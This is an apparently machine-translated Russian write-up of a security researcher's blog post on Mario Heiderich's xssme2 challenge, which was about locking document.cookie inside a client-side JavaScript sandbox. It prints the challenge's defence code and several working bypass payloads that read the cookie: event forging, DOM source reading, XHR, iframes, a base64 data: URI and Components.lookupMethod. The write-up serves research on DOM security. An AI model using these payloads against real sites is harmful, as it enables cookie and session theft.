Статьи

Печальное состояние безопасности DOM (или как мы все решали вызов Марио)

Несколько дней назад Марио Хайдерих  опубликовал вторую часть своих заданий xssme (пока только в Firefox). Но это был не обычный вызов. Цель состояла не в том, чтобы выполнить ваш Javascript, а в том, чтобы получить доступ к свойству объекта DOM (document.cookie) без взаимодействия с пользователем . Фактически, полезная нагрузка не была отфильтрована вообще.

Прелесть моя!

Это соответствует работе Марио по блокировке  попыток уничтожения DOM и XSS. Концепция заключается в том, что фильтрация на стороне сервера для XSS в конечном итоге потерпит неудачу, если вам потребуется принять HTML. Далее — иногда код Javascript должен приниматься от клиента ( гибридные приложения есть везде! ), Вместо этого мы хотим, чтобы он выполнялся внутри песочницы, ограничивая доступ к некоторым важным свойствам (местоположение, cookie, окно, некоторые токены, наш внутренний объект приложения и т. Д.). .). Это в основном то, что Google Caja пытается достичь на стороне сервера. Но сервер не знает обо всех этих странностях браузера, проблемах синтаксического анализа — в конце концов, это другая среда.

Поэтому, если возможно полное уничтожение XSS — оно должно быть на стороне клиента, в браузере. Конечно, это требует некоторой поддержки от браузера, и наиболее распространенным оружием является ECMAScript 5 Object.defineProperty () и друзья. По сути, это позволяет вам переопределить свойство объекта (скажем, document.cookie ) с вашей собственной реализацией и заблокировать его, чтобы дальнейшие переопределения были невозможны.

В теории это здорово. Вы вставляете некоторый код Javascript, блокируете ваши драгоценные активы DOM, затем можете вывести неизмененный код клиента, который уже работает в контролируемой изолированной среде — и все готово. В теории. Читать дальше!

Что это было за событие!

Марио начал с этого подхода — он подготовил сценарий «брандмауэра» и ниже отображал предоставленный пользователем HTML без какой-либо фильтрации. Но во-первых, были разрешены только IE9 + и FF6 + (другие браузеры пока не имеют всех функций для блокировки драгоценного). В брандмауэре он заблокировал document.cookie , оставив доступ к нему только через функцию безопасного получения. Эта безопасная функция получения может быть вызвана только по щелчку пользователя. IIRC, это выглядело так:

<script>
    document.cookie = '123456-secret-123456'; // my precious
 
    var Safe = function() {
        var cookie = document.cookie; // reference to original
        this.get = function() {
            var ec = arguments.callee.caller;
            var ev = ec.arguments[0];
            if(ec && ev.isTrusted === true
                  && ev.type=='click') { // allow calling only from click events
                return cookie;
            }
            return null;
        };      
    };
    Object.defineProperty(window, 'Safe', {
        value: new Safe, configurable:false}
    ); // Safe cannot be overridden
 
    Object.defineProperty(document, 'cookie', {value: null, configurable: false}); // nullify and seal the original cookie
</script>
<button id="safe123" onclick="alert(Safe.get())">Access document.cookie safely -- the legit way</button>

Итак, мы закончили, верно? Нет! Вы можете подделать событие, позвонить получателю и получить cookie.

	
function b() { return Safe.get(); }
alert(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); // call b({type:'click',isTrusted:true})

Решение? Убедитесь, что событие не подделано, используя instanceof еще один заблокированный объект. Это также было обойдено многими способами (ищите событие в списке обхода ), что привело к другим блокировкам .

Я могу читать!

 

Другой подход состоял в том, чтобы просто извлечь текст сценария из источника документа (в конце концов, он все в том же происхождении) — великолепно:

// one
alert(document.head.childNodes[3].text);
// two
alert(document.head.innerHTML.substr(146,20))
// three
var script = document.getElementsByTagName('script')[0];
var clone = script.childNodes[0].cloneNode(true);
var ta = document.createElement('textarea'); ta.appendChild(clone);
alert(ta.value.match(/cookie = '(.*?)'/)[1])

и аналогичные (авторы, пожалуйста, свяжитесь со мной для кредитов!). Проблема здесь заключается в том, что на стороне клиента я могу читать свой собственный документ, включая исходный код скрипта, содержащего драгоценный файл cookie .

Фикс? Запретить кучу функций чтения узлов — чтобы добавить еще больше блокировок.

Мы в сети!

Говоря о чтении — не является ли веб-страница просто пятном текстового контента? Может быть, есть способ прочитать HTML веб-страницы, даже не интерпретируя его? Конечно есть — это было годами. XMLHttpRequest . Таким образом, было несколько векторов побочных каналов, которые просто считывали исходный URL и извлекали cookie из responseText .

var request = new XMLHttpRequest();
request.open('GET', 'http://html5sec.org/xssme2', false);
request.send(null);
if (request.status == 200){alert(request.responseText.substr(150,41));}

Решение? Запретить XHR (и все это другие формы). Тогда это случилось:

x=document.createElement('iframe');
x.src='http://html5sec.org/404';
x.onload=function(){window.frames[0].document.write("<script>r=new XMLHttpRequest();r.open('GET','http://html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>")};
document.body.appendChild(x);

 и задача была перенесена в отдельный домен, чтобы никто не мог атаковать через другую страницу, которая была в том же происхождении. И тогда ад вырвался на свободу.

Большой побег

Люди начали загружать JavaScript в iframes. Их быстро отключили:

html.body.innerHTML = x;
for (var i in j = html.querySelectorAll('iframe,object,embed')) {
    try {j[i].src = 'javascript:""';j[i].data = 'javascript:""'}
    catch (e) {}
}

Затем Марио предпринял другой подход к блокировке и создал отдельный документ , заменив оригинал, чтобы потерять даже свое происхождение (блестящий код, кстати):

if (document.head.parentNode.id !== 'sanitized') {
    document.write('<plaintext id=test>');
    var test = document.getElementById('test');
    setTimeout(function(){
        var x = test.innerHTML;
        var j = null;
        var html = document.implementation.createHTMLDocument(
            'http://www.w3.org/1999/xhtml', 'html', null
        );
        html.body.innerHTML = x;
        document.write('<!doctype html><html id="sanitized"><head>'
         + document.head.innerHTML + '</head><body>'
         + html.body.innerHTML + '</body></html>');
    },50);
}   

Но все же, на данный момент, два обходных пути работают. Гарет Хейес  соленый обход и мой.

Мой использует data: uri с HTML-документом, который загружает исходную страницу через XHR (возможно, из-за странного предположения Firefox, что data: документы имеют то же происхождение, что и вызывающая страница). Гарет использует проприетарный Firefox Components.lookupMethod и получает оригинальные нативные объекты, которые должны были быть заблокированы.

// Mine - use XHR in data:uri
location.href = 'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1
c2VjLm9yZy94c3NtZTIvIix0cnVlKTt4Lm9ubG9hZD1mdW5jdGlvbigpIHsgYWxlcnQoeC5yZXNwb25zZVRleHQubWF0Y2goL2RvY3VtZW50LmNvb2tpZSA9ICco
Lio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4='; // base 64 is: <script>x=new XMLHttpRequest();x.open("GET","http://xssme.html5sec.org/xssme2/",true);x.onload=function()
{ alert(x.responseText.match(/document.cookie = '(.*?)'/)[1])};x.send(null);</script> // Gareth - use unlockable Components.lookupMethod alert(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),
'document')(), 'getElementsByTagName')('html')[0],'innerHTML')().match(/cookie.*'/));

Решение? Пока нет . Я предполагаю, что местоположение будет заблокировано, чтобы разбить мой вектор, но Соленый Обход выглядит безупречным.

Печальное состояние безопасности DOM

Текущие вопросы заключаются в том, что безопасность DOM находится в очень плохом состоянии. В конце концов, чтобы иметь возможность заблокировать единственную собственность DOM, Марио — один из лучших людей для этой работы на планете — должен был:

  • согласиться с ограничениями браузера (в настоящее время только один браузер находится в области действия, проблема даже не работает в Chrome)
  • заблокировать почти все, включая XHR, окно, документ
  • запретить взаимодействие с пользователем
  • не разрешать читать содержимое страницы
  • Запретить фреймы, объекты и встраивать (поэтому нет   фильмов на Youtube :()
  • справиться с множеством нюансов браузера
  • иметь дело с побочными каналами
  • получить вызов на отдельном поддомене
  • перезагрузить всю страницу в новом источнике

Затем несколько десятков человек садятся, составляют самые странные векторы и делают все это еще обходным путем ?

И все же мы все правим

Этот пост, тем не менее, приветствуется всеми вами, ребята! Мы все правим!

  • Марио руководствуется всеми этими контрмерами (помните — защищаться гораздо сложнее)
  • Все участники выступают за то, чтобы обходить их один за другим (я узнал массу новых трюков от других)
  • Задача состоит в том, чтобы показать, каково текущее состояние безопасности DOM и что необходимо исправить.
  • Правила Javascript для того, чтобы сделать все это возможным
  • и Firefox управляет всеми его причудливыми обходами;)

От http://blog.kotowicz.net/2011/10/sad-state-of-dom-security-or-how-we-all.html